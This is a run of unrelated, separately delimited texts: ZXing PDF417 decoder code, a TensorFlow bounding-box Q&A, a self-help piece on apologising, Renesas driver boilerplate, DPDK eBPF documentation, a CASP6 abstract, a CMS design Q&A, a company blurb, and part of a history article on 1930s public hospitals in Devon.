797, 2422, 2419, 770, 768, 766, 2383, 2380, 2376, 721, 719, 717, 714, 731, 1714, 2602, 2582, 2580, 2548, 2546,
2543, 923, 921, 2717, 2706, 2705, 2683, 2682, 2680, 1771, 1752, 1750, 1733, 1732, 1731, 1735, 1814, 1707, 1670,
1668, 1631, 1629, 1626, 1634, 1599, 1598, 1596, 1594, 1603, 1601, 2326, 1772, 1753, 1751, 1581, 1554, 1552, 1504,
1501, 1498, 1509, 1442, 1437, 1434, 401, 1448, 1445, 2206, 1392, 1391, 1389, 1387, 1384, 359, 1399, 1397, 1394,
1404, 2171, 2170, 1708, 1672, 1669, 619, 1632, 1630, 1628, 1773, 1378, 1363, 1361, 1333, 1328, 1336, 1286, 1281,
1278, 248, 1292, 1289, 2111, 1218, 1216, 1210, 197, 1206, 193, 1228, 1225, 1221, 1236, 2073, 2071, 1151, 1150,
1148, 1146, 152, 1143, 149, 1140, 145, 1161, 1159, 1156, 1153, 158, 1169, 1166, 2017, 2016, 2014, 2019, 1582,
510, 1556, 1553, 452, 448, 1506, 1500, 394, 391, 387, 1443, 1441, 1439, 1436, 1450, 2207, 765, 716, 713, 1709,
662, 660, 657, 1673, 1671, 916, 914, 879, 878, 877, 882, 1135, 1134, 1121, 1120, 1118, 1123, 1097, 1096, 1094,
1092, 103, 1101, 1099, 1979, 1059, 1058, 1056, 1054, 77, 1051, 74, 1066, 1064, 1061, 1071, 1964, 1963, 1007,
1006, 1004, 1002, 999, 41, 996, 37, 1017, 1015, 1012, 1009, 52, 1025, 1022, 1936, 1935, 1933, 1938, 942, 940,
938, 935, 932, 5, 2, 955, 953, 950, 947, 18, 943, 15, 965, 962, 958, 1895, 1894, 1892, 1890, 973, 1899, 1897,
1379, 325, 1364, 1362, 288, 285, 1334, 1332, 1330, 241, 238, 234, 1287, 1285, 1283, 1280, 1294, 2112, 188, 185,
181, 178, 2028, 1219, 1217, 1215, 1212, 200, 1209, 1227, 2074, 2072, 583, 553, 551, 1583, 505, 503, 500, 513,
1557, 1555, 444, 442, 439, 436, 2213, 455, 451, 1507, 1505, 1502, 796, 763, 762, 760, 767, 711, 710, 708, 706,
2377, 718, 715, 1710, 2544, 917, 915, 2681, 1627, 1597, 1595, 2325, 1769, 1749, 1747, 1499, 1438, 1435, 2204,
1390, 1388, 1385, 1395, 2169, 2167, 1704, 1665, 1662, 1625, 1623, 1620, 1770, 1329, 1282, 1279, 2109, 1214, 1207,
1222, 2068, 2065, 1149, 1147, 1144, 1141, 146, 1157, 1154, 2013, 2011, 2008, 2015, 1579, 1549, 1546, 1495, 1487,
1433, 1431, 1428, 1425, 388, 1440, 2205, 1705, 658, 1667, 1664, 1119, 1095, 1093, 1978, 1057, 1055, 1052, 1062,
1962, 1960, 1005, 1003, 1000, 997, 38, 1013, 1010, 1932, 1930, 1927, 1934, 941, 939, 936, 933, 6, 930, 3, 951,
948, 944, 1889, 1887, 1884, 1881, 959, 1893, 1891, 35, 1377, 1360, 1358, 1327, 1325, 1322, 1331, 1277, 1275,
1272, 1269, 235, 1284, 2110, 1205, 1204, 1201, 1198, 182, 1195, 179, 1213, 2070, 2067, 1580, 501, 1551, 1548,
440, 437, 1497, 1494, 1490, 1503, 761, 709, 707, 1706, 913, 912, 2198, 1386, 2164, 2161, 1621, 1766, 2103, 1208,
2058, 2054, 1145, 1142, 2005, 2002, 1999, 2009, 1488, 1429, 1426, 2200, 1698, 1659, 1656, 1975, 1053, 1957, 1954,
1001, 998, 1924, 1921, 1918, 1928, 937, 934, 931, 1879, 1876, 1873, 1870, 945, 1885, 1882, 1323, 1273, 1270,
2105, 1202, 1199, 1196, 1211, 2061, 2057, 1576, 1543, 1540, 1484, 1481, 1478, 1491, 1700
};
using RatioTableType = std::array<std::array<float, CodewordDecoder::BARS_IN_MODULE>, SYMBOL_COUNT>;
using ModuleBitCountType = std::array<int, CodewordDecoder::BARS_IN_MODULE>;
static const RatioTableType& GetRatioTable()
{
auto initTable = [](RatioTableType& table) -> RatioTableType& {
for (int i = 0; i < SYMBOL_COUNT; i++) {
int currentSymbol = SYMBOL_TABLE[i];
int currentBit = currentSymbol & 0x1;
for (int j = 0; j < CodewordDecoder::BARS_IN_MODULE; j++) {
float size = 0.0f;
while ((currentSymbol & 0x1) == currentBit) {
size += 1.0f;
currentSymbol >>= 1;
}
currentBit = currentSymbol & 0x1;
table[i][CodewordDecoder::BARS_IN_MODULE - j - 1] = size / CodewordDecoder::MODULES_IN_CODEWORD;
}
}
return table;
};
static RatioTableType table;
static const auto& ref = initTable(table);
return ref;
}
static ModuleBitCountType SampleBitCounts(const ModuleBitCountType& moduleBitCount)
{
float bitCountSum = static_cast<float>(std::accumulate(moduleBitCount.begin(), moduleBitCount.end(), 0));
ModuleBitCountType result;
result.fill(0);
int bitCountIndex = 0;
int sumPreviousBits = 0;
for (int i = 0; i < CodewordDecoder::MODULES_IN_CODEWORD; i++) {
float sampleIndex = bitCountSum / (2 * CodewordDecoder::MODULES_IN_CODEWORD) + (i * bitCountSum) / CodewordDecoder::MODULES_IN_CODEWORD;
if (sumPreviousBits + moduleBitCount[bitCountIndex] <= sampleIndex) {
sumPreviousBits += moduleBitCount[bitCountIndex];
bitCountIndex++;
if (bitCountIndex == (int)moduleBitCount.size()) { // this check is not done in original code, so I guess this should not happen?
break;
}
}
result[bitCountIndex]++;
}
return result;
}
static int GetBitValue(const ModuleBitCountType& moduleBitCount)
{
int result = 0;
for (size_t i = 0; i < moduleBitCount.size(); i++) {
for (int bit = 0; bit < moduleBitCount[i]; bit++) {
result = (result << 1) | (i % 2 == 0 ? 1 : 0);
}
}
return result;
}
static int GetDecodedCodewordValue(const ModuleBitCountType& moduleBitCount)
{
int decodedValue = GetBitValue(moduleBitCount);
return CodewordDecoder::GetCodeword(decodedValue) == -1 ? -1 : decodedValue;
}
static int GetClosestDecodedValue(const ModuleBitCountType& moduleBitCount)
{
static const RatioTableType& ratioTable = GetRatioTable();
int bitCountSum = std::accumulate(moduleBitCount.begin(), moduleBitCount.end(), 0);
std::array<float, CodewordDecoder::BARS_IN_MODULE> bitCountRatios = {};
if (bitCountSum > 1) {
for (int i = 0; i < CodewordDecoder::BARS_IN_MODULE; i++) {
bitCountRatios[i] = moduleBitCount[i] / (float)bitCountSum;
}
}
float bestMatchError = std::numeric_limits<float>::max();
int bestMatch = -1;
for (size_t j = 0; j < ratioTable.size(); j++) {
float error = 0.0f;
auto& ratioTableRow = ratioTable[j];
for (int k = 0; k < CodewordDecoder::BARS_IN_MODULE; k++) {
float diff = ratioTableRow[k] - bitCountRatios[k];
error += diff * diff;
if (error >= bestMatchError) {
break;
}
}
if (error < bestMatchError) {
bestMatchError = error;
bestMatch = SYMBOL_TABLE[j];
}
}
return bestMatch;
}
int
CodewordDecoder::GetDecodedValue(const std::array<int, BARS_IN_MODULE>& moduleBitCount)
{
int decodedValue = GetDecodedCodewordValue(SampleBitCounts(moduleBitCount));
if (decodedValue != -1) {
return decodedValue;
}
return GetClosestDecodedValue(moduleBitCount);
}
/**
* @param symbol encoded symbol to translate to a codeword
* @return the codeword corresponding to the symbol.
*/
int
CodewordDecoder::GetCodeword(int symbol)
{
symbol &= 0x3FFFF;
auto it = std::lower_bound(SYMBOL_TABLE.begin(), SYMBOL_TABLE.end(), symbol);
if (it != SYMBOL_TABLE.end() && *it == symbol) {
return (CODEWORD_TABLE[it - SYMBOL_TABLE.begin()] - 1) % NUMBER_OF_CODEWORDS;
}
return -1;
}
} // Pdf417
} // ZXing
|
Q:
Hide the accuracy percentage from the bounding box generated
Display only the predicted class name and hide the accuracy/confidence percentage from the bounding box made on the detected object
I have trained a custom object detection model and get the bounding boxes with the predicted class name and also the confidence percentage on my object as of now. Below is my code
def recognize_object(model_name,ckpt_path,label_path,test_img_path):
count=0
sys.path.append("..")
MODEL_NAME = model_name
PATH_TO_CKPT = ckpt_path
PATH_TO_LABELS = label_path
PATH_TO_IMAGE = list(glob(test_img_path))
NUM_CLASSES = 3
label_map = label_map_util.load_labelmap(PATH_TO_LABELS)
categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)
category_index = label_map_util.create_category_index(categories)
detection_graph = tf.Graph()
with detection_graph.as_default():
od_graph_def = tf.GraphDef()
with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:
serialized_graph = fid.read()
od_graph_def.ParseFromString(serialized_graph)
tf.import_graph_def(od_graph_def, name='')
sess = tf.Session(graph=detection_graph)
image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')
detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')
detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')
detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')
num_detections = detection_graph.get_tensor_by_name('num_detections:0')
for paths in range(len(PATH_TO_IMAGE)):
image = cv2.imread(PATH_TO_IMAGE[paths])
image_expanded = np.expand_dims(image, axis=0)
(boxes, scores, classes, num) = sess.run([detection_boxes, detection_scores, detection_classes, num_detections],feed_dict={image_tensor: image_expanded})
vis_util.visualize_boxes_and_labels_on_image_array(
image,
np.squeeze(boxes),
np.squeeze(classes).astype(np.int32),
np.squeeze(scores),
category_index,
use_normalized_coordinates=True,
line_thickness=4,
min_score_thresh=0.80)
coordinates=vis_util.return_coordinates(
image,
np.squeeze(boxes),
np.squeeze(classes).astype(np.int32),
np.squeeze(scores),
category_index,
use_normalized_coordinates=True,
line_thickness=4,
min_score_thresh=0.80)
threshold=0.80
cv2.imwrite("C:\\new_multi_cat\\models\\research\\object_detection\\my_imgs\\frame%d.jpg"%count,image)
count += 1
cv2.waitKey(0)
cv2.destroyAllWindows()
model_name='inference_graph'
ckpt_path=("C:\\new_multi_cat\\models\\research\\object_detection\\inference_graph\\frozen_inference_graph.pb")
label_path=("C:\\new_multi_cat\\models\\research\\object_detection\\training\\labelmap.pbtxt")
test_img_path=("C:\\Python35\\target_non_target\\Target_images_new\\*.jpg")
recognize = recognize_object(model_name,ckpt_path,label_path,test_img_path)
suppose my model detectes a tiger from an image. So it makes a bounding box around the detected tiger showing the predicted class name with confidence percentage like (TIGER 80%). I want to display only the predicted class name on my bounding box and not the percentage when the bounding box is made like (TIGER) only
A:
Here is a simple solution, just add skip_scores=True to function visualize_boxes_and_labels_on_image_array. So the function calls is:
vis_util.visualize_boxes_and_labels_on_image_array(
image,
np.squeeze(boxes),
np.squeeze(classes).astype(np.int32),
np.squeeze(scores),
category_index = category_index,
use_normalized_coordinates=True,
line_thickness=4,
min_score_thresh=0.80,
skip_scores=True)
I've tested on an image from the Kitti dataset. No scores are displayed!
|
Shift Your Language.
Do you find yourself saying “I’m sorry,” all the time? For things that do not require an apology? You are not alone. Many of us have done this, and catch ourselves doing it so frequently that even we are wondering, “Why am I saying that?”
When we say this, and an apology is not needed we are feeding into an idea that we need outside validation of our existence. WE create an unequal power dynamic that assumes our inferiority. Then when we find ourselves in relationships with people who treat us as “less than,” we become confused.
We may need to “fake it, ’til we make it” in this instance, and starting acting as if we are worthy until we actually feel that truth in our bodies.
One way we can shift out of saying “I’m sorry” is by switching to “Thank you.”
Instead of saying, “I’m sorry I’m late, I had a family emergency,” we say, “Thank you for being so patient today. I was late because I had a family emergency.”
In the second sentence we are not looking for the other person to accept us, nor are we acting subordinate, instead we are assuming their graciousness and our equality. |
/***********************************************************************************************************************
* DISCLAIMER
* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products.
* No other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all
* applicable laws, including copyright laws.
* THIS SOFTWARE IS PROVIDED "AS IS" AND RENESAS MAKES NO WARRANTIESREGARDING THIS SOFTWARE, WHETHER EXPRESS, IMPLIED
* OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY
* LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE FOR ANY DIRECT,
* INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR
* ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability
* of this software. By using this software, you agree to the additional terms and conditions found by accessing the
* following link:
* http://www.renesas.com/disclaimer
*
* Copyright (C) 2015 Renesas Electronics Corporation. All rights reserved.
***********************************************************************************************************************/
/***********************************************************************************************************************
* File Name : r_cg_cgc_user.c
* Version : Code Generator for RX231 V1.00.00.03 [10 Jul 2015]
* Device(s) : R5F52318AxFP
* Tool-Chain : CCRX
* Description : This file implements device driver for CGC module.
* Creation Date: 2015/08/17
***********************************************************************************************************************/
/***********************************************************************************************************************
Pragma directive
***********************************************************************************************************************/
/* Start user code for pragma. Do not edit comment generated here */
/* End user code. Do not edit comment generated here */
/***********************************************************************************************************************
Includes
***********************************************************************************************************************/
#include "r_cg_macrodriver.h"
#include "r_cg_cgc.h"
/* Start user code for include. Do not edit comment generated here */
/* End user code. Do not edit comment generated here */
#include "r_cg_userdefine.h"
/***********************************************************************************************************************
Global variables and functions
***********************************************************************************************************************/
/* Start user code for global. Do not edit comment generated here */
/* End user code. Do not edit comment generated here */
/* Start user code for adding. Do not edit comment generated here */
/* End user code. Do not edit comment generated here */
|
.. SPDX-License-Identifier: BSD-3-Clause
Copyright(c) 2018 Intel Corporation.
Berkeley Packet Filter Library
==============================
The DPDK provides an BPF library that gives the ability
to load and execute Enhanced Berkeley Packet Filter (eBPF) bytecode within
user-space dpdk application.
It supports basic set of features from eBPF spec.
Please refer to the
`eBPF spec <https://www.kernel.org/doc/Documentation/networking/filter.txt>`
for more information.
Also it introduces basic framework to load/unload BPF-based filters
on eth devices (right now only via SW RX/TX callbacks).
The library API provides the following basic operations:
* Create a new BPF execution context and load user provided eBPF code into it.
* Destroy an BPF execution context and its runtime structures and free the associated memory.
* Execute eBPF bytecode associated with provided input parameter.
* Provide information about natively compiled code for given BPF context.
* Load BPF program from the ELF file and install callback to execute it on given ethdev port/queue.
Packet data load instructions
-----------------------------
DPDK supports two non-generic instructions: ``(BPF_ABS | size | BPF_LD)``
and ``(BPF_IND | size | BPF_LD)`` which are used to access packet data.
These instructions can only be used when execution context is a pointer to
``struct rte_mbuf`` and have seven implicit operands.
Register ``R6`` is an implicit input that must contain pointer to ``rte_mbuf``.
Register ``R0`` is an implicit output which contains the data fetched from the
packet. Registers ``R1-R5`` are scratch registers
and must not be used to store the data across these instructions.
These instructions have implicit program exit condition as well. When
eBPF program is trying to access the data beyond the packet boundary,
the interpreter will abort the execution of the program. JIT compilers
therefore must preserve this property. ``src_reg`` and ``imm32`` fields are
explicit inputs to these instructions.
For example, ``(BPF_IND | BPF_W | BPF_LD)`` means:
.. code-block:: c
uint32_t tmp;
R0 = rte_pktmbuf_read((const struct rte_mbuf *)R6, src_reg + imm32,
sizeof(tmp), &tmp);
if (R0 == NULL) return FAILED;
R0 = ntohl(*(uint32_t *)R0);
and ``R1-R5`` were scratched.
Not currently supported eBPF features
-------------------------------------
- JIT support only available for X86_64 and arm64 platforms
- cBPF
- tail-pointer call
- eBPF MAP
- external function calls for 32-bit platforms
|
Assessment of fold recognition predictions in CASP6.
The Sixth Community Wide Experiment on the Critical Assessment of Techniques for Protein Structure Prediction (CASP6) held in December 2004 focused on the prediction of the structures of 90 protein domains from 64 targets. Thirty-eight of these were classified as "fold recognition," defined as being similar in fold to proteins of known structure at the time of submission of the predictions. Only the "first" predictions and those longer than 20 amino acids for each domain were assessed, resulting in 4527 predictions from 165 groups. The assessment was accomplished by the use of six structure alignment programs and three scoring measures based on these alignments. The use of a variety of measures resulted in scoring insensitive to the peculiarities of any one alignment method. The top-ranked methods in the prediction of structures that were clearly homologous to proteins in the Protein Data Bank primarily used servers and other programs based on achieving a consensus of many remote homology detection and fold recognition methods. The top-ranked methods in prediction of structures less clearly related or unrelated to proteins of known structures used fragment building methods in addition to the fold recognition meta methods. |
Q:
Why is There A Need to Separate "Edit"(update) and "Add"(insert) actions in most CMS?
the CMS our chief coder designed has the update/insert actions handled by one controller. Most of the CMS's I see has separate handlers for update and insert. Why are most CMS's designed this way? Even the REST pattern has separate actions for update and insert (I don't know what they're exactly called though).
A:
Probably because it's two of the four basic CRUD operations found in user interfaces. It's more intuitive, easier and safer to perform a single "Edit" operation on data than performing a "Remove" operation then an "Add" operation.
|
Smart
Today I would like to briefly report something in more detail about a project that I have recently been allowed to accompany or had the opportunity to come on board: sticklett. Sticklett was founded a few years ago by Michaela Schicho. Originally the company established itself as a smart fashion label and sold cool clothes with detachable „Sticklettz“ (textile stickers) for children (from zero to 10) and started working on a very special application. An expressive medium for children ItRead More |
Introduction {#s001}
============
'The outlook is depressing', wrote a civil servant in 1938 on reading a report from a colleague on the development of public hospitals[1](#fn1){ref-type="fn"} in Devon; 'I gather... that the County Medical Officer of Health has rather lost heart... as he has made reports before and practically nothing happens.'[2](#fn2){ref-type="fn"} Such a comment could have been applied to many local authorities, particularly on the issue that prompted it -- the development of former Poor Law infirmaries as public hospitals. The Local Government Act (1929) \[hereafter LGA\] had granted permissive powers from April 1930 to enable local authorities to 'appropriate' former workhouse infirmaries and develop them for use by the general public. By 1937, however, only thirty-seven county boroughs (less than 50%) and nine county councils (less than 20%) had done so.[3](#fn3){ref-type="fn"}
Failure by some local authorities to extend their personal public health services between the wars, even when this was heavily promoted by the Ministry of Health, has been the subject of recent attention within a context originally set by both Charles Webster and Roger Lee, who drew attention in the 1980s to the differences between local authority responses to central public policy on welfare services.[4](#fn4){ref-type="fn"} In the 1990s, Martin Powell sought to explain the variations between local authorities in the development of public general hospital services, the subject of the quotation above. He identified the wide overall range of hospital bed provision at the end of the 1930s that, for example, within Yorkshire ranged from 11.11 per thousand head of population in Halifax to 3.17 in the East Riding.[5](#fn5){ref-type="fn"} Initial quantitative analyses of the relationship between provision and indicators of need and wealth were unable to explain what he termed 'unpatterned inequality'.[6](#fn6){ref-type="fn"} Further work during the 2000s by Martin Powell, John Stewart and colleagues in a Wellcome Trust project, Municipal Medicine, explored variations between county boroughs over a wider range of personal public health services. On general hospital provision, quantitative analyses identified a strong correlation only with the size of the population.[7](#fn7){ref-type="fn"} Other publications arising from the project portray inconclusive results for quantitative analyses, relating local authority expenditure and provision to a range of independent variables.
The inconclusive nature of the quantitative work led the authors to suggest that a robust explanation for the differences would need a more holistic approach, taking account of 'economic determinism... politics and the rise of Labour, the role of the Ministry of Health... the existence of progressive institutions and individuals... the impact of civic pride and civic competition, and the importance of class and gender.'[8](#fn8){ref-type="fn"} Many of these factors have been noted as significant in local case studies undertaken by other researchers such as John Pickstone, Martin Gorsky, John Welshman and Barry Doyle.[9](#fn9){ref-type="fn"} As Becky Taylor, Martin Powell and John Stewart note, 'there remains scope for further qualitative work to develop a hypothesis that can explain not only the variations in public hospital provision but potentially also those in areas such as tuberculosis or maternity and child welfare provision.'[10](#fn10){ref-type="fn"}
The purpose of this article is to fill this gap by developing a robust hypothesis to explain the choices local authorities made about whether or not to appropriate workhouse infirmaries as public hospitals. Appropriation, as the Chief Medical Officer saw it, was a 'declaration that a wide range of medical services is to be placed at the disposal of those who require these services, provided they are willing to pay the cost as far as they are able and are content to accept such standards of refinement and personal comfort as the various institutions afford.'[11](#fn11){ref-type="fn"}
Sometimes. as Levene has highlighted, those institutions afforded poor facilities, and authorities failed to develop them.[12](#fn12){ref-type="fn"} Appropriation, as Powell warned, is a 'crude dichotomous variable'.[13](#fn13){ref-type="fn"} Its strength, however, is that it was an issue on which almost all local authorities had to make a decision and indeed were pressured so to do by the Ministry of Health. Even where infirmary provision was of poor quality it might be appropriated, as the Manchester experience shows.[14](#fn14){ref-type="fn"} It therefore offers the opportunity to contrast the pathways to the decisions that individual councils took.Figure 1The ACF as updated in 1999, from Paul Sabatier and Hank Jenkins-Smith, ?The Advocacy Coalition Framework: An Assessment?, in Paul Sabatier (ed.), *Theories of the Policy Process* (Boulder, CO: Westview Press, 1999), 149.
The study on which it is based used a public policy approach, the Advocacy Coalition Framework \[hereafter ACF\]. The authors of the ACF, Paul Sabatier and Hank Jenkins-Smith, have sought to develop a framework that can offer explanations of the way in which agreement on practical policy changes between groups with fundamentally different beliefs emerges over time, as shown in [Figure 1](#fig1){ref-type="fig"}. Key features that prompt change are identified as (i) changes in the external environment, (ii) 'learning' absorbed by interest groups, and (iii) actions of particular individuals to broker agreements.[15](#fn15){ref-type="fn"}
The use of the ACF has been supplemented in the present study by greater attention to the role of 'policy entrepreneur'. In public policy literature the role of policy entrepreneur has emerged as significant in the creation and implementation of policy change.[16](#fn16){ref-type="fn"} Such entrepreneurs are individuals willing to invest time, energy, and reputation in the pursuit of the policy they support. Entrepreneurs use three different skill-sets to achieve their goals: advocacy, seizing opportunities, and relationship management. They may emerge from a variety of backgrounds, be 'in or out of government, in elected or appointed positions, in interest groups or research organisations'.[17](#fn17){ref-type="fn"} A successful entrepreneur can make the difference as to whether a policy is implemented or not.
One important factor in the selection of an appropriate geographical area for the case studies was the need to develop a hypothesis applicable to counties, as well as to county boroughs, as both had responsibility for the delivery of personal public health services for their population. The Municipal Medicine project, like most of the work that preceded it, used information from urban authorities, the county boroughs. However, two-thirds of the population of England in the 1930s lived outside county boroughs, in rural or small town areas served by county councils. In such areas responsibility for public health services was split between the county council and second-tier authorities -- the rural and urban district councils. Second-tier authorities had responsibility for environmental health services but also for some personal health services, particularly isolation hospitals, and, in some authorities, school medical services. A hypothesis applicable to county boroughs alone, such as the link with the size of population served, will not necessarily explain what happened in counties with large but scattered populations.
The Municipal Medicine research team acknowledged the restricted focus provided by work based on county boroughs alone. They suggested that the findings are nonetheless significant because county boroughs 'capture much of the national trends in mortality, disease and housing conditions' and so 'are the places where medical innovations were most likely to be implemented'.[18](#fn18){ref-type="fn"} This urban focus is not unusual in inter-war studies. The editors of *The English Countryside Between the Wars* note that inter-war histories 'have little to say about the countryside' and afford experiences there 'no real weight'.[19](#fn19){ref-type="fn"} Still less attention is given in the history of municipal medicine to the England of small towns and their hinterland, though Gorsky's recent study of the Gloucestershire Extension of Medical Service Scheme is an honourable exception to this.[20](#fn20){ref-type="fn"} It remains the case that one of the best descriptions of public health services (or lack of them) in such areas is evoked by Winifred Holtby's inter-war novel, *South Riding*, where the impact of tuberculosis, maternal mortality, lack of access to cancer services, and the impact of infectious disease are all vividly presented.[21](#fn21){ref-type="fn"}
The urban bias needs to be corrected. Shire counties, as the opening quotation suggests, were often perceived by the Ministry of Health as problem areas. Richard Titmuss referred to an 'official report' which described one county as 'feudal and parsimonious... where the word of one or two local people was often more powerful than the council itself.'[22](#fn22){ref-type="fn"} John Mohan, who has studied hospital services in the north, pointed out that twenty-two of the forty-nine county councils (forty-four per cent) performed so poorly both at and after the initial Ministry surveys in 1930--2, that the Ministry determined to re-survey them later in the decade. Devon was one of those counties. Mohan also quoted comments on councils in the North which echo those cited by Titmuss: 'economical if not niggardly' (Cumberland); 'very dilatory' (Northumberland); 'parsimonious... niggardly' (North Riding).[23](#fn23){ref-type="fn"}
The case study therefore included a county council. Additionally, as one of the suggestions made in the Municipal Medicine research was that the availability of local authority services in adjacent areas to which neighbouring authorities had access might affect provision, a study focused on a self-contained geographical area was proposed. The Municipal Medicine project found that some regional cohesion could be observed in the Midlands and the North, with poor levels of expenditure in the North-East and the West Midlands, but patterns were less coherent in the South. This might be attributable to the availability of voluntary provision or the demands of particular geographies.[24](#fn24){ref-type="fn"} In view of this, and also of the fact that most of the single area case studies so far published are set in the metropolitan or old industrial heartlands, a complementary study of a rural area was appropriate. The empirical case studies have therefore been based on the analysis of decisions taken by a group of local authorities in the far South West, Devon and the two county boroughs within it, Plymouth and Exeter.
In order to apply the methodology of the ACF, a qualitative text-based approach was adopted. The framework for the study was created using the minutes and papers of Devon County Council, Exeter City Council, Plymouth City Council and their public health and public assistance committees, where these have survived. These papers, however, are couched in formal terms and give a limited picture of the decision-making process. Points in the argument are not noted; votes are infrequent, most committee papers being 'taken as read'; and even when a vote is forced, the names of those for or against are rarely recorded. Other formal documentation used included the annual reports of the Medical Officers of Health and Ministry of Health surveys and related correspondence.
A more fruitful source does, however, survive in the accounts of local newspapers which record in considerable detail the debates at council meetings, and indeed, the activities and speeches of councillors in other settings. Local papers, of course, need to be used with caution. As Michael Dawson demonstrated, the provincial press in Devon was, by the 1920s, in Conservative hands, part of the Harmsworth empire.[25](#fn25){ref-type="fn"} It nonetheless appears to have recorded local debates fairly, and councillors rarely had to put the record straight or repair omissions. The Labour Party in Plymouth boycotted the Harmsworth papers in the late 1920s because of their attitude to the General Strike, and interviews with Labour councillors do not exist for this period, but by the early 1930s this boycott had ceased. For the purposes of this study, accounts of council debates on social welfare issues, interviews with the press, and election statements for the period 1928--39 in the two evening newspapers, the *Western Evening Herald* \[hereafter *WEH*\] for the west of the county and the *Express and Echo* \[hereafter *E&E*\] for the eastern half of the county, were extracted and a computer-generated textual analysis (using ATLAS.ti*)* undertaken to identify recurrent themes.
This article first describes the way in which the case study local authorities responded to the challenges of the LGA. It then analyses the differences between the local authorities over the core beliefs held by their councillors, the lessons they had learned from previous experience in the field of hospital care, and identifies active entrepreneurs. Finally, it draws together the analyses into an explanatory framework which generates a new hypothesis, that, provided a local authority inherited adequate workhouse provision, it would be most likely to proceed with the development of a public hospital service where councillors exhibited a substantial corpus of progressive deep core beliefs on accountability to the wider community on social responsibility; where they had a track record of successful experience of direct hospital provision; and when they had available a committed entrepreneur able to command support for change within the council.
The Development of Public Hospitals in Devon in the 1930s {#s002}
=========================================================
Devon was a part of what J.B. Priestley's *English Journey* called 'Old England', the England of 'cathedrals and minsters and manor houses and inns, of Parson and Squire; guide-book and quaint highways-and-byways England'.[26](#fn26){ref-type="fn"} In the 1930s, Devon was England's second largest administrative county, though twelfth ranked in size of population, with approximately 450,000 residents. From Exeter, the county town, it can be more than sixty miles to the county border. The two county boroughs within its borders, Exeter and Plymouth, the only English county boroughs west of Bristol, had populations of 61,000 and 228,000 respectively. Whilst Plymouth had a shipbuilding industry, the organisational setting within which this operated was properly part of the 'Old England' of the Royal Navy rather than part of an entrepreneurial profit-seeking industry. Plymouth's economy was based on traditional naval and maritime trade and travel services. The economies of Devon and Exeter derived from the primary industries of agriculture, fishing and the general management of rural estates, although these traditional sources of income were, by the 1930s, gradually being supplemented by the exploitation of its seaside resorts for holiday and retirement opportunities.
The Poor Law Inheritance {#s003}
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For Plymouth, the feasibility of taking a positive decision over the appropriation of workhouse accommodation as a public hospital was eased by the availability of three workhouse sites. Local Boards of Guardians had not been amalgamated in 1913 when the three councils of Devonport, Plymouth and Stonehouse had merged into one county borough, and under the LGA the city inherited workhouse accommodation from three Boards of Guardians. Amalgamation offered the opportunity for a functional reorganisation concentrating infirmary services on one site and residential services on the other.
By contrast, Exeter City Council took on not only the Poor Law services run by the Exeter Guardians, but also those of the population within the city boundary hitherto provided by the St Thomas' Union. The national apportionment of workhouses to councils, however, assigned the St Thomas' workhouse, though geographically within the city, to Devon County Council for use by the rural population. Exeter was expected to meet the needs of the extra population it acquired for public assistance purposes within the city workhouse that the capacious nature of the accommodation enabled it readily to do. Its workhouse was endowed with a relatively modern, freestanding infirmary building (1905) assessed by the Ministry of Health as capable of appropriation as a hospital.[27](#fn27){ref-type="fn"}
Within Devon County Council there had been sixteen Boards of Guardians covering the county, and sixteen different institutions, shown in [Table 1](#tab1){ref-type="table"}. The tight timescale for implementing the Local Government Act (1929) defeated the Ministry's wish that Guardians' areas should be amalgamated, and the county's Public Assistance Committee established sixteen sub-committees (Guardians' Committees) to succeed the Boards.Table 1Schedule of Guardians' Committees and Poor Law Institutions within the Devon County Council area, 1930[^1]
The Political Climate {#s004}
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In the quantitative analyses undertaken in Municipal Medicine, and in Powell's earlier studies, the proportion of Labour seats on the Council was used as the distinguishing variable. Council politics in the inter-war period are, however, less amenable to analysis by simple party label than modern politics are. Party labels were used for Parliamentary elections, but in local politics, to describe a council as 'Conservative-led' gives little indication of the kinds of decisions they might favour. Stephen V. Ward has contrasted the culture of Conservative groupings in the four boroughs of Barnsley, Croydon, Gateshead and Wakefield.[28](#fn28){ref-type="fn"} He differentiated between the 'active progressive reformist' councils in Barnsley and Wakefield, the 'anti-interventionist stance' of small businessmen and private landlords in Gateshead, and the case of Croydon, where proponents of those two opposing cultures were further challenged by 'the strength of domestic ratepayerism reflecting the residential character of the town'. Elements of all those traditions can be demonstrated in the political scene in the far South West.
In Plymouth, at the municipal elections for 1929, the year when the LGA was to be implemented, Labour gained five additional seats, resulting in the loss to the Conservatives of an overall majority on the Council. Even though, in practice, the Conservatives usually received Liberal support, this made the council year 1929/30 a uniquely unpredictable one for municipal decision making in the inter-war period. It must have been evident to the 'active, progressive, reformist' (in Ward's terminology) Conservative leadership that measures to develop public health services would be likely to be well supported.
